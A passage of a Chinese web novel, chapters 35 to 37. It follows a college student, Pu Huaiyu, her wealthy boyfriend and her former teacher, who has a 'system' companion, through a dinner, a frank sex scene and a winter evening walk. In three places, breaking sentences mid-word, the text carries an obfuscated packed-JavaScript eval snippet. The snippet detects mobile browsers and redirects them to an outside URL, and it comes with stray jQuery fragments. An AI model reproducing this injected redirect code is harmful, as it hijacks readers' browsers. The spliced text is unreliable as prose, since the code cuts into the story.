随后端上桌的挪威海螯虾是主厨推荐,不过王家旻没急着动,而是双手交迭在桌面,笑眯眯地看向斜前方的年轻女孩:“濮小姐,要不要拍两张照片看看?你这样的年轻人,正是喜欢记录和分享的年纪,不用太拘束。” 濮怀玉点头。她几乎不在朋友圈活跃,都是点对点分享给列表里的朋友,但既然王家旻主动提起,她决心笑纳这份开明。 拍完照,她微微侧过身给简晟看,被他连连比出大拇指。 “我早就跟你说过了,我不用换手机,我现在用的这个拍照片很好看的。”证明过自己,濮怀玉将手机按到一旁,“你又不是不知道我的拍照技术有多差。……我拍好了,王叔叔,您用餐吧。” 王家旻一副“我真嗑你俩”的表情,笑着执起刀叉:“都说夫妻恩爱的证明是越聊越细节,能捕捉到外人察觉不到的琐碎生活。” “还没有到那种程度吧。”濮怀玉平淡地开始享用鲜到舌尖的虾。 简晟也立即否认:“姐夫,你想得未免也太远了,我跟小玉远远达不到呢。” “那我刚才说的总有一半对吧?” “那倒是。”简晟自恃于对女友的了解,因为餐桌上有一沉默的外来因素,不禁原地卖弄起来,“小玉她呀,拍照技术是我见过的这么多女生里,最差最差的一个了——” 隗祯不紧不慢:“小简先生真是简家培养出来的好子弟,长袖善舞,小小年纪经历就如此丰富了。” 简晟面色微变,知晓刚才失言。 王家旻只以为是表层含义:“丰富?确实丰富啊。Jacob可体贴朋友了,跟男生玩得好,对女生也有绅士风度。我看谁能做他的朋友,那可真是修来的福气。” “这么面面俱到,正好跟我这个以前的学生般配。” “嗯?我只知道你以前在高中做过一段时间教师,没想到濮小姐是你以前的学生。” 濮怀玉抿了口红酒,体味不出好坏,索性也不品了,在间隙看一眼状似和谁都能谈笑风生的男人。 之所以说是“状似”,是因为隗祯刚才借题发挥的时候,就像只故意把东西从桌上碰掉的猫,一本正经捣乱。在学校的时候没机会看到,如今看到了,她觉得还挺有意思。 “其实我觉得不太算。” 她擦拭着因为简晟偷偷拉扯衣袖,导致溅射到唇边的红酒,“王叔叔,我们那学校,不加实习老师统共就两个心理老师。隗老师真要教书育人,每个都当学生悉心教育,实在是实现不了。” 王家旻比出剪刀手,愕然到像是看见外太空发生的事:“就两个?” 说实话,这副基于财富才能不谙世事的模样相当招人恨。但濮怀玉何等沉得住气,毕竟简晟的这些个朋友、亲戚就算食过凡俗,也要作出不食人间烟火的样子,而她从不和装睡的人论高低。 “对。就两个。所以我跟隗老师相熟,主要是我个人特殊的家庭背景。” “王叔叔,没有父母的孤女如何成长,您清楚吗?” 王家旻愣愣摇头时,濮怀玉指向自己,“就在您眼前了。” 言下之意,她和他在世俗意义层面并不匹配,受着长辈的青眼和希望实在“有愧”。 出于体谅老人的角度,濮怀玉会从心上挤出一点愧疚。但从濮怀玉自己的角度,她认为构成自己的一切没有对不起别人,也没有对不起自己,坦然得很。 她只是提醒一下,她的轻松、自如仅仅来自于对自己的无条件肯定,而不是他们希望看到的强悍的家庭背景。 “……但据我所知,濮怀玉成长得很好,跟小简先生并没有不相配的地方。” 眼前的男人似乎不能够忍受,认为这是一次带着血沫的自剖。比起明里暗里拆散这对不匹配的鸳鸯,濮怀玉的自我剖白更让他不舒服。 所以,前脚隗祯挑剔过简晟,暗讽他经历丰富是个不安分的人,后脚又迫不及待将两个人凑成天造地设的一对。 真的跟猫似的。猫就算喜欢主人,有时候也会表现得讨厌。 隔着物种,不能完全互相理解是没有办法的事,但濮怀玉确实对这种让人厌倦的矛盾不感兴趣,因此不喜欢猫。 “而且我与濮怀玉同学身世相仿,我很清楚濮同学要养成现如今的品性,究竟需要在人生中贯穿多么厚重的努力。” ——然而,猫似乎也是能很可爱的,就算有点反复无常,就算有时候明明没什么大事也会炸毛。 反正隗祯咬牙承认了,简晟是濮怀玉选择的伴侣,再有什么不是也是她选择的人。 好吧,好吧!她被审视,他不能因为简晟并非良人就理所当然袖手旁观。 简晟听在耳朵里,则有点惊讶了。 “难怪小玉性格这么好,这么善良,敢情这里面也有隗老师您一部分的功劳。” 阴霾一扫而空,简晟看到的是一位有抱负的前·热血教师,主要还是因为隗祯挺自己的恋情,此刻骤然忘记他前不久绵里藏针的话,“我真要好好代替她感谢您。” 王家旻也转过弯来,敬佩地举起酒杯:“隗老师说的不错,敬濮小姐。” “敬小玉。Salute.” 濮怀玉也举杯,眼神直冲冲朝向对面的隗祯——“你的担心是多余的”。 系统:「关心则乱啊。不过友好值重回90以上了,现在是93。你这次的激情发言很值。」 隗祯:「……」真如系统所说,他刚才因为太关心乱了阵脚。 左右忍受不了别人轻贱濮怀玉,哪怕只是一星半点,隗祯都会像当初询问系统“为什么偏偏是她”那样,不平地心想“凭什么她就一定是卑微的”。 不得不通过承认家世这一方式换取在近似捧杀的恭维声中喘|息的机会,既源自他人的下意识的傲慢,也有她那常人难以招架的坦然。 这些含着金汤匙出生的人是不会明白的,哪怕现在轻松地干着杯,也不会明白。 系统:「你忘了,你埋怨的这群人里面也有你自己吗?」 「你不仅是,你还是佼佼者中的佼佼者。即便简晟的父亲到场,也得向你这位隗先生低头啊。」 「……」 濮怀玉微微歪过头。她有点好奇了,隗祯刚才还急不可耐,现在怎么又消沉起来。 猫的精力可是很强的。 观察好了,濮怀玉得出结论:可能年纪大了。 “隗老师,你是消化系统不太好吗?我有带健胃消食片。” “……没有,谢谢你。” 简晟殷勤起来:“那老师您是觉得菜不合口味吗?” 他可是说他们十分相配诶!今天吃完饭,可能姐夫都要找到他委婉地说要想结婚很难,隗老师却承认了诶! “没有,很可口。也谢谢你。” 这顿饭的后半程,诡异的一片其乐融融。隗祯都要忘记自己此行的目的不是跟简家人搞好关系,虽然从结果来看的确如此。 但他仍旧不喜欢简晟。无论是先前对他稚嫩的提防和显摆,还是现在的殷勤备至,都让隗祯觉得厌恶。 “你不用送我了,我自己走。” 吃完饭透气,濮怀玉主动免去了简晟的职责,然后转向隗祯,“你怎么走?” 王家旻插嘴“我让司机送”,隗祯却觉得自己似乎接收到了某种信号,回答:“我也自己走吧,正好回一趟机构,收拾点材料回家。” 就这样,他们得到了单独相处的机会。 濮怀玉单刀直入,直接说教:“隗叔叔,你不该把你的家庭背景暴露给他们。这些有钱人最讲格调了,会影响你的工作。而且等你听到了谁的秘密,他们见你无依无靠,处理起来毫不犹豫。” “你更不应该提,濮怀玉。我可以换工作,但你只是个学生。要是捅到学校去,你会被别人议论甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598324|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至演变到更严重的地步,你会一直痛苦下去的。” 学生时代的阴影总是带着更多稚嫩的、难以言喻的自尊心,隗祯不希望她带着灰暗的颜色离开校园,从此以后只要触及边缘中的边缘,就会辗转反侧。 路灯倒映下,两个人面对面,影子似要相接,一时间谁也不让谁。 “……我只是不愿意你不得不告诉认识还没有一天的人你的身世。” 先软化的是隗祯,他原先也没有多跟濮怀玉剑拔弩张,只是恳切到掺进近乎哀戚的情绪。 “你好像依旧把我当小孩,隗叔叔。” 濮怀玉觉得疑惑,隗祯的保护欲蓬勃到让她觉得不解。 即便在学生时代,自己也是保护人的一方。就算担心她被更大的世界割伤,未免也太小心了。 “其实对简晟他们那样的人来说,很多事都是一一对应,很简单的。” 极致的逐利,带来极致的选择。 她说:“反正他们也会想方设法调查我的,不如我来说。说清楚的话,他们就知道我不是冲着他们宝贝着的东西去的。” “隗叔叔,我更肤浅,我就喜欢Jacob那张脸。他在餐桌上其实还挺体贴,不是吗?” “——要想不被诱惑,得先体验过才行。你对我的担心不无道理,但目前为止,我对这段浅薄的、实验性质的恋爱还算满意。” 坦诚的、真挚的孩子,在爱情中也可以是轻浮的、无所谓的。 跟长辈解释恋爱观真难,濮怀玉看着隗祯的表情,总觉得他未必听进去了自己的恋爱宣言,干脆转变话题。 “你不是要会机构吗?我送你一程吧。” “毕竟隗叔叔你啊,也算是朵需要被呵护的娇花。”她面无表情说出让隗祯差点没管住面部肌肉的惊世之语,以棒读的语调,“哇,我竟然能对你开这种玩笑了,真神奇。这能否说明我们现在是更亲近的朋友了呢。” 隗祯:“……我会看着你上车的,无论是公交车还是计程车。” 系统:「宿主没有正面回答。」 系统:「是这样的,你觉得特别特别好的孩子,恋爱观上甚至有点轻佻呢。」 隗祯立即反驳轻佻的言论,直言十八岁正是从高中解放、从未成年禁令解放,很愿意尝试的年纪,何况濮怀玉只将这种好奇感灌注于恋爱领域,可没有任何不良嗜好。 目送濮怀玉上了出租,临行前拒绝他付车费的原因是简晟恐怕会要求报销,隗祯说:「她很珍惜家人和朋友,成年以后冒出来的恋人出现得太迟,而且并不是那么不可或缺,态度上有所取舍很正常。」 系统:「你好会找理由。」明明作者都没想到这么深。 系统:「友好值究竟是濮怀玉对你的,还是你对濮怀玉,我怎么有点分不清了呢。」 隗祯低头锁上机构大门,轻语呢喃:“一定要分得那么清楚吗……?” 不清不楚,又怎么样呢。 …… 濮怀玉回学校后,很快就找到了跟简晟的不合点。 “我并不需要,就算你送给我,我又能放到哪里去。你的姐姐要过生日了,应该先去孝敬家人吧。” “我说的是实话。我没有佩戴的场合,也不太喜欢戴。” 挂断电话,濮怀玉重新吃起齐央帮忙带的拌饭。她们并不是一个专业的,但时间表有所重合,所以才有齐央一边放着“煲电话粥煲到吃不了饭,下午上课饿死你”的狠话,一边把食堂相当热门的牛肉拌饭放到她桌上。 “谢谢,我以为你在食堂吃饭,宿舍没有其他人就打了电话。” 她的平和总让齐央难以应对,硬邦邦道:“你不用多解释,我知道你不是那种天天打电话的讨厌鬼。” “不管怎样,谢谢你的理解。我将钱转过去了。” 齐央点开转账,边吃自己的饭边欲言又止:“……所以,你跟少爷闹矛盾了?” “不算。”濮怀玉耸耸肩,“你都说少爷了,哪里会让自己吃亏。”他要装作为她不肯佩戴珠宝生气那么久,好像那套珠宝除了套她身上没有任何别的价值,她也没办法。那就不联系嘛,很简单的事。 “那倒也是。” 36. 036 床头吵架床尾和。本就不是矛盾的矛盾,尚未形成颇有存在感的坚冰隔膜,就消融了。 简晟躺在床上,头脑还有些空白,只隐隐听到濮怀玉给自己倒水时杯碗碰撞的清脆声响。他现在听不得任何充满暗喻的生活细节,否则就要回到前不久的潮湿之中。 濮怀玉物欲不高,也只有在这种时候会让简晟感觉到她索求无度起来会是什么样子——无异于一场毫无底线的竭泽而渔。 但简晟一回想,就会脸红,还觉得幸福。 幸好前面十八年都好好管住自己了,即便是自亵,次数也很少,这样才能配合她的恣意征伐。 简直就像是将军一样。好害羞。 濮怀玉喝完水,准备再睡一会儿,迟点再回学校。然而躺下前查看手机,有新的班级通知,她相当败兴地撇了撇嘴。 简晟从这头钻到那头,趴在床边睁着无辜的眼睛望她,就好像身后真的有条尾巴摇摆到能当螺旋桨:“有急事吗?” “没有。” 濮怀玉把手机一扔,很不客气地抢走大半被子盖在身上,“你自己再拿一条。” 简晟老老实实去拿新被子,只是难免有点被粗暴对待的委屈。濮怀玉今天忘了aftercare,这让简晟一时间觉得分被窝比离婚还痛苦。 他只好先默默给自己掖好被角,躺下后小心询问:“你今天不舒服吗?” “没有啊。挺爽的。” 要是不爽,濮怀玉完事早就穿衣服走了,哪里还会多待。她觉得简晟有点奇怪,询问:“你哪里不舒服?” “没有。”简晟迅速脸红到脖颈,红艳艳得像是上了一层昂贵的油彩,清纯中夹杂些许艳色,“其实我……我最喜欢rideonface……” 淡淡的窒息感,以及她的味道,舌头本能地不停游荡迎合,渐渐的好像不属于自己,让人根本分不清楚是新渗出的液体还是自己的眼泪。 濮怀玉捏了一下他的脸颊:“喜欢这个又不丢人,还说洋文遮遮掩掩。” 有洋人血统,还这么容易害臊。 “……致廷有时候会跟我聊他跟他以前的女伴做这种事的乐趣。”结果,简晟轻轻开口,很不会找话题,“我的喜好跟他相比,好像不够男人。” “你哪天跟他一样阳刚,我们就继续不下去了。”在这种时刻提起戚致廷,濮怀玉只会觉得反胃,“不过,他愿意跟你聊私生活,倒是很符合我对他的想象。他的话肯定不太好听吧?” 简晟手扶在枕头上,软软地告状:“嗯。我不喜欢跟他聊女孩子哪里应该长成什么样,他就笑我在练童子功,装清纯。还说男人都这样。” 濮怀玉大概能够想象得出来,戚致廷会怎么用他那张金口奢侈地做全金马桶。用贱出天际这个词来形容他都像是打情骂俏的程度,一个人生出贱骨头,这辈子就完蛋了。 他着实看不起她,濮怀玉对他可不仅仅是看不起的程度。在她眼里,戚致廷不过是一匹自以为穿金戴银就很高贵的种马而已,生活放荡,估计还没怎么老,男性的要害处就要糜烂了。 “童子功不好吗?基础好。” 有了对比,她漫不经心一挑眉,顺坡下驴。 顺其自然的颜色笑话,哪怕简晟面对的是这张只要放松、就能时时刻刻冷漠到正直的脸,依旧难以克服羞赧,脸埋进被子里。 这一出他玩了很多次,屡试不爽,欲盖弥彰可爱得很。濮怀玉也不惊讶,感受着窸窸窣窣的动静,伸手去揭:“好了,我不取笑你,你出来吧——” 他当然不在他自己的被窝里。 随后,他在濮怀玉的被窝里紧紧拥抱她,真是玩情趣的好手。濮怀玉便也装作惊喜,捏了捏男友后脖颈的软肉。 “小玉,认真答应过你的事,我肯定可以做到。”简晟将下颚枕在她的肩膀上,发出来的声音闷闷的,“我们什么时候一起去你的故乡?” 本来是开开玩笑的话语,濮怀玉没打算当真,但简晟当了真。 这位家庭生活同样波动的简少爷,此刻近乎天真地渴求一次真正意义上的神交。 他拥抱着濮怀玉,心里想:没有任何一个人能逃脱救赎小玉的局。 “我一定要跟你去。小玉,你明白的,我虽然父母健在,但很多时候我会幻想,他们还不如不在。” “我能理解你,我会理解你的。” 他眼神恳切,“不要避开我,好吗?” “……” 濮怀玉沉默了很久。 “好啊。”到最后,她同意了,难得笑了一下,暖融融的一笑,“本来就是我提出来的。你要是愿意,就来跟我吃苦吧,大少爷。” “具体是什么时候?” “嗯……下学期的劳动节长假?到时候我也要过生日了。” 简晟立马蜷进她怀里笑:“十九岁万岁!再过一年就是能结婚的年纪了。” 我可不会这么早就结婚,或许一辈子也不会结婚。就算必须要走进婚姻的坟墓,也永远不会是他。 但她说着善意的笑话:“你可不是,男人可不是。除非你能一下子变成老男人。” “我可不要,你最讨厌老男人了。……一岁年龄差?两岁年龄差?三岁?……六岁?哈哈,要是足足相差六岁的话,真的很恶心了。” 他似乎提到了第二个不相干的男人。 濮怀玉反应得很快,委婉道:“倒也不能这么说,只是跟我的择偶标准不符合而已。” 况且,隗祯跟“恶心”这个词确实没关系。 但简晟捧起脸,摆出一副恃宠而骄的轻狂样儿:“是小玉太善良啦!你都不知道那些男人背地里怎么说女孩子,就算不客气地叫声‘老女人’,都会在明面上标榜自己有绅士风度呢。” 这不是戚致廷吗,他年纪大,还不尊重人。戚致廷之流,除了“实在该死”四个字可以形容,濮怀玉不知道还能评价什么。 “所以我比较希望他们可以直接火化。” “哼,反正我听了不会生气。”简晟眨了眨灰蓝色的眼睛,刻薄起来,“我鲜嫩鲜嫩的。” 考试周,濮怀玉暂停了打工和志愿者,开始突击学习。 她也可以争一争贫困生奖学金,这是入学前燕大答应她四年常驻的基础金额。但贫困生名额终究有限,她能保证生活,偶尔还需要穿着男朋友购置的奢侈品出门招摇,奖学金并非必要。 所以,濮怀玉改争优秀学生奖学金。 对于这一点,齐央是很愧疚的,她总觉得是自己的怀疑伤了濮怀玉的心,连桌上的烤鱼都不香了。 “你不用难过,我只是喜欢做点有挑战性的事而已。”濮怀玉忙着用公筷将鱼肚分成均匀的四份。 她们四个人不是一个专业,很难碰到这样都有空的时光,当然得吃得开心。 一一分到她们碗里,濮怀玉成了最后一个动嘴的,默默挑刺时还不忘补充:“我们院系男生多,荣誉也都偏爱男生,要是能从他们嘴里撕下一块肉,不觉得很有意思吗。” “你也别让自己太劳累了。反正到最后,有奖学金的女生也拼不上挂过科的男生。”林从露一副看惯了的老练模样,“问就是女生一点苦都吃不了,干不过男生,可问题是,至少你,濮怀玉,吃苦一直吃到大啊。所以啊,你也别太逼着自己了。” 濮怀玉:“我没逼自己啊,这不是跟你们一起出来快活了么。” 不止是跟她们,跟简晟也没少快活,解压的事都没少做。 虽然濮怀玉也没有太多压力,打工的地方放行,做志愿的地方宽限,期末周反而成了她最快活的时候,总之就是劳逸结合,过的比平时还要爽快。 简晟则不知道第多少次抱怨:“小玉,我真的背不下去了……我感觉我要疯了。” 仗着高级套房里暖气开得足,他穿着内裤便抱着书开始背,满脸都是“少爷竟然还得自己读书吗”的惨烈,“我姐说我要是不能保证一次都及格,下学期的生活费就得减半,直到减无可减。” “减半?那也是很大一笔数目。”可惜他面对的是濮怀玉,别人会感同身受点点头,她只会坐在床的另一边出馊主意,“要不——你省吃俭用一点?” 简晟抱着几乎全新的课本:“是书太枯燥,太难背啦!为什么非要我降低生活成本。” 这有多难背啊。濮怀玉拿过专业书,扫了几眼心理学名词。兴许是此前没碰过,再加上对这个专业的第一印象很好,她没觉得有多枯燥。 “那我跟你一起看,你背诵的时候也有个人在旁边检验。我要背的都背完了,这几天都在做题。” 简晟满眼都是诧异:“小玉,这些不说人话的句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602768|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,难道不会把你脑袋里原本的知识点挤出去吗?” “不会,你这是心理学,又不是电气相关的课本。”濮怀玉坐在他旁边,“记得把当伴读的费用打到我账户上,谢谢。” “你太好了呜呜……!我有状元级别的辅导老师了!” “我是第二,不是第一。”就跟看故事书一样,濮怀玉随便翻着,“但我不会代你考试的,你要是有这个心,趁早死了。” 简晟理直气壮:“你把我想成什么人了,我可不是纨绔子弟。” 他顶多抱怨一下当初怎么没有出国留学,只是因为贪恋国内随时能跟老妈老姐无障碍伸手要钱就留下来,真是失策。仅此而已。 “我要是当初出国留学了,就不用在这里苦哈哈地背书了。” 你那叫出国吗,你不原本就是外国人。濮怀玉垂眸,随即纠正了简晟背书时的一个小错误。 他确实有点聪明,但也只是小聪明。 “你这么快就记住啦?好厉害哦。……我要是在国外念书,找个人帮我上课交作业就行。如果学校漂亮的话,我或许会去几天。不过那样的话,你就见不到我了。” 最后一句话落下时,简晟在惋惜中夹带进连自己都未曾察觉的得意感。 毕竟只有这样,简家,还有目前只装得下濮怀玉一个的所谓“濮家”,才有区别嘛。 此刻,她安静地趴在书上,简晟已经开始畅想跟在外留学的好朋友们如何快乐,随后触及濮怀玉危险的神情。 “……我肯定不会像他们那样无法无天!小玉,你放心,我不是没有上进心,只顾着自己享乐的人。” 转折有点生硬,也跟濮怀玉的心声吻合不上,但好歹是转过来了。 像他这样善解人意的富二代可不多,简晟可以交不少朋友,就是因为他对情绪比较敏感。现在,他能发现濮怀玉周身冷飕飕的。 濮怀玉很淡地笑了一下,然后低头:“我没有这么说你。” “是我姐这么告诉我的,她说我要是这么生活,不管别的家庭怎么看待,在她眼里我是真的废了。” 他偷看一眼讲义,再若无其事抬起头:“小玉,我们接着背书吧,我不抱怨了。等背完这本书,我请你去吃大餐,我们再一起看有没有新衣服。” “好啊。”濮怀玉平和道,“也不用这本书,你能背多少就背多少吧。” 就是最后真的挂科了也活该,跟她没有任何关系。 濮怀玉对隐晦的优越感有所察觉,多少有点不太爽快。 到了考试的几天,每科安排得很紧密。 濮怀玉没有什么感觉,考完到饭点就吃,到睡觉的时间就睡,宿舍其他三个人无论谁挑灯夜读都影响不了她的睡眠。 考完试,她还得去摇几天奶茶呢,摇到学校的人都走得差不多再回家,反正火车票提前买好了,不用多操心。 冯盈的考试战线则拉得很长,濮怀玉会在下班前自费给她摇一杯,再告诉她是店里不要的。小料用不完会倒掉,还不如给亲属带一杯,撒谎时脸不红心不跳。 冯盈便也接受了,吸得欢快:“那你们店还挺注意卫生的,应该不会上315晚会。” 濮怀玉跟她面对面,抱着膝盖吸另一杯:“但我不能天天给你带,因为是打短工的,薅羊毛薅得太热烈会被穿小鞋。” 其实是担心一天一杯会送冯盈的血糖直上云霄,她总不能好心办坏事。 “那边两个女生!你们干什么——” “……喝奶茶呢。阿姨还以为你们在抽烟。” 濮怀玉真诚抬头:“阿姨,下次要不也给你带一杯。” “不行啊,阿姨血糖高。这东西好喝是很好喝,但你们年轻人也不能每天一杯。” 濮怀玉比了个ok的手势。 “你几号回家?” 濮怀玉比了个手势。“这么迟啊。”冯盈很明显地松了一口气,然后不好意思起来,“我不敢一个人待着。” “没事,不让你一个人。” 这天,濮怀玉在奶茶店兢兢业业摇奶茶,终于要迎来下班时间,听到熟悉的声音。 “一杯热巧克力,中杯,不额外加糖。” 濮怀玉正将百香果酱甩均匀,准备给奶茶封口,回头时不禁扶了一下帽子。 还真是隗祯。 37. 037 终于下班,往日冷漠的男同事突然对她挤眉弄眼:“有男朋友还出来摇奶茶,不用这么刻苦吧。” “别管他。他就会脑补。”刚才还跟濮怀玉一起忙碌在第一线的女同事小声帮助她转移视线,但也随后表现了自己的羡慕,“你男朋友好帅啊,还亲自来接你。” 她有一撮头发染成粗糙的黄,无论春夏都得藏在帽子里,休息时间最常打开的是抖音或者快手。但这不代表她没有丝毫的感情,就应该被悄无声息碾去。 至少在她的认知中,有男朋友意味着生活变丰富,也意味着一个全新的可能性,所以她总是讨论谁交了男朋友,以及自己什么时候可以遇到良人。 “小燕,他不是我的男朋友。”濮怀玉微微弯腰,对上她因为羡慕亮晶晶的眼,“但如果你看到他,以后交男朋友会挑剔一点,不那么轻易被人骗走,你也可以这么认为。” 小燕有点听不懂,怎么是又不是的。只是盛世美颜在前,她情不自禁捧起脸:“哎呀,我这辈子真没见过像那样闪闪发光的人,就像橱窗里的宝石一样。你给我支支招嘛,你怎么就让他从橱窗里跑出来了。” 但濮怀玉只是看着她又是害羞、又是计上心头的模样,唇角渐渐上扬起来:“你之前跟我说你念书不好,所以直接出来打工了,但你刚刚说的这个比喻不是挺好的吗?说不定你其实有点天赋,只是被埋没了。” 小燕一愣,从没有人说过她有天赋。 “好了,我真的得走了。他冲着我来,不能让他等急了。” 她关上柜门就要走,小燕也急了:“你得给我支支招,支支招呀,我们可是朋友。” 但濮怀玉只是对她晃了晃手,远远地说:“小燕,要是得不到这种成色的宝石,你还是努力工作吧,为自己工作。” 总之,有个“这种级别才算宝石”的念想,别被谁莫名其妙骗走。 换上便装出门,隗祯捧着奶茶,濮怀玉还以为他拿去暖手了,说一句“好奢侈”。 隗祯:“没有,我都喝得差不多了。” 嘴上说是差不多,其实还剩三分之二有余,但到底不会浪费。 在奶茶店打工的事,濮怀玉跟隗祯提过。因此他能循着冬夜街上的声响找过来,濮怀玉不觉得奇怪。 只是燕京的冬天,未免太过寒冷。再过一个星期就要过年,暖的红融化冷的白、冷的绿和蓝,看在眼里倒让人想即刻把手渗进茸茸的手套里。 两人就这样沿着人行道慢慢地散步,就算时间不早、就算都工作了一天,依旧悠闲。 “我都下班了,本想着过来看一眼就走,结果你还没下班。” 濮怀玉则看一眼他手里的奶茶:“你现在能喝甜的了?” 这款就算不加糖也已经够甜了,她觉得以隗祯的质朴口味消化不了。 “依旧不太可以,但比以前好很多。你放心,我不会浪费的。”他随后看向她被衣袖紧裹的手腕,“手都要甩断了吧?” 濮怀玉无所谓地活动十指和手腕:“做奶茶不都这样。告诉你,我做奶茶的时候偶尔会想,要是也采取奢侈品店sales那样的抽成制就好了,怎么一个个的这么能喝。” 顺带一说,她中午也喝了一杯,喝的时候就不这么想了。 “说的也是。” “但是这样管理层就挣不到钱了,本来就是薄利多销的产品。”濮怀玉手背在身后,“看到同事明明没做什么却被找问题辱骂的时候,真想把领班连同万恶的资本家全都揍一顿。” 系统忽然冒出来:「有没有觉得后背发凉呢,万恶的资本家隗先生?」 「……我们公司的福利和关怀机制一直都很完善,不然我也不会二十四岁没有任何征兆就猝死了。」 系统“啧”了一声:「那还真是好人不长命啊。」 而就在这时,濮怀玉骤然转过身: “隗叔叔,就算是你做出不好的事情,我也会动手的。”她一脸严肃,“我会在‘嘭’的一声里,用我的手掌抚摸你的脸。” 隗祯亦认真道:“那我在被扇飞的那一刻,大概可以宣告火箭发射成功了。” 他原先没有一点幽默感,在濮怀玉的耳濡目染下也算沾染几分让人欢喜的艺术。 “小简先生走了吗?”隗祯无意问起。 濮怀玉起初对这个称呼还没反应过来:“小简先生?……你说Jacob啊,他跟几个朋友去海岛度假了。你以后在我面前直接称呼简晟的大名就行,你要想叫Jacob也可以,反正简家人不在。” 临行前,简晟得知濮怀玉依旧没有办护照的准备,还跟她生了气。但濮怀玉实在没有在游艇上穿着清凉,满眼都是各色各样□□的打算,她宁愿摇奶茶摇到手臂骨折。 何况马上要过年。即便拿到护照,濮怀玉也不会去的,打完工她得陪伴家人。 Jacob. 隗祯在心里想,他有个在美国的朋友,养了条阿拉斯加犬,体型大但很乖巧,让做什么就做什么,名字就叫Jacob。 濮怀玉若是能驯养一条天性温和的狗,拥有一个贴心且合体的“Jacob”,那当然是件很好的事,隗祯愿意祝福。根据他的观察,似乎不是。 濮怀玉的问话打乱他的思绪:“你买了几号的火车票?” “我们放九天假,从除夕前一天到初七。”他回过神,摊开无奈的手,“不幸中的万幸是,我抢到了火车票。” 那天见过的女士生着和蔼可亲的脸,却未必能做好一个慷慨的管理者。应当说大部分管理者都不会慷慨,濮怀玉此刻听到坏消息,觉得很可惜。 可惜人心不一定总和皮囊相符。 “那你只会走的比我迟。”濮怀玉了然地下了论断,比起怜悯,更多是无可奈何,好在他落后一步的旅途起点已经向不久的将来延伸,“你到的时候,房间肯定都收拾好了。” 他轻轻拧起眉,俊逸的容颜波动起来。然而,烦恼起来的美人依旧是板上钉钉的美人。即使是蹙眉,也有股别样的风情:“不用这么见外,你和李院长都是。也麻烦你转告,以后都不用多费心。随愿不是旅馆,是我非要打扰,我自己可以收拾。” “但妈妈说你的房间除了有点灰尘,其他都很好,没有耗费多少时间。”濮怀玉收回视线。 既然她怀里已有一朵有些任性的鸢尾,其他风景再吸引人,也只是过目的风光。濮怀玉道:“妈妈还说,你整洁得就像从随愿走出去的孩子。” “……谢谢。” “你可以当面告诉他。” 一辆车迎面驶来,车灯让濮怀玉不禁闭上眼睛。眼前流过幻象的花,她转过头,那无疑是一辆豪车。 附近有条弯道很有名,这点跟隗祯前世所在的世界重合。 “大概是马上要到时间了,没什么人看着路况,所以在呼朋引伴,准备群体作案。赛车什么的。”他抽出湿巾,潮冷的湿润含着花香,下意识就要拭向她眼角溢出的生理性泪水。 但濮怀玉捏住了他的手腕,警告一般的力道,隔着衬衫打滑地磨了一下。 于是刹那间,隗祯全身起了麻痹感,一直哆哆嗦嗦传到指尖,竟结成了一种说不出的微痛。 濮怀玉没有看他,左手接湿巾时没有碰到隗祯的任何一寸皮肤,再松开禁锢的右手。 “这群人就算被抓进警察局,估计很快也能被放出来。”她自己擦着眼角,“但他们要是冒犯了我,被我打了,有万千种手段把我关进去。” “……你得离他们远一点,这对你比较好。” 艰难压抑下产生微妙的触动感,竟然要即刻结成温吞的、一味让人的劝告,连隗祯都觉得不可思议。 “我来燕京前,妈妈就让我小心行事,说这里不比隋城,我万一惹怒了某个有权有势的坏人,会被毁了下半辈子。” 濮怀玉的两只眼睛渐渐干涸,清晰起来,“我原本觉得我碰不到,但他们总以卑劣的方式出现。这样的人,就算有把我关进去的本事,我也不承认他们是个人物。” 她转回去:“隗叔叔,我们走吧。” “你的眼睛还好吗?明天我可以请假,带你去医院检查一下。” “不用了,其实只是小事。”濮怀玉往前走着,近乎小跑,“我突然觉得很生气。” 会觉得割裂吗?当然会。 夜里被简晟打电话质问为什么不办护照,白天辛勤打工看着同伴没有犯错却被训斥。这样的对比怎么会不觉得割裂。 濮怀玉开始觉得躁动,或许是简晟先将这种躁动感放进了她的脑袋里。戚致廷更是在度假前给她发了意味不明的短信,大意是别把简晟的怒火当回事,他喜欢用幼稚的方式装叛逆,实为给自己累计道德资本。 “Jacob家里的大家长已经训过他了,你要是真的跟过来也不会有好结果哦”。 像自说自话间,就把车灯照向她的眼睛。 明明她只是一直在让自己的生活正常运行而已。 “……你不会把我正在跟谁交往的事告诉妈妈的,是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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因此,隗祯当天下午抵达的时候,看见的便是刚在孤儿院门口停车,还顶着不合身头盔的濮怀玉,头盔大到显摆足了安全意识,让人忍俊不禁。 只是,那晚的散步和二人的闲话让隗祯有点拘束,本是要主动帮忙,却变成小心的试探:“要我帮忙推车吗?” 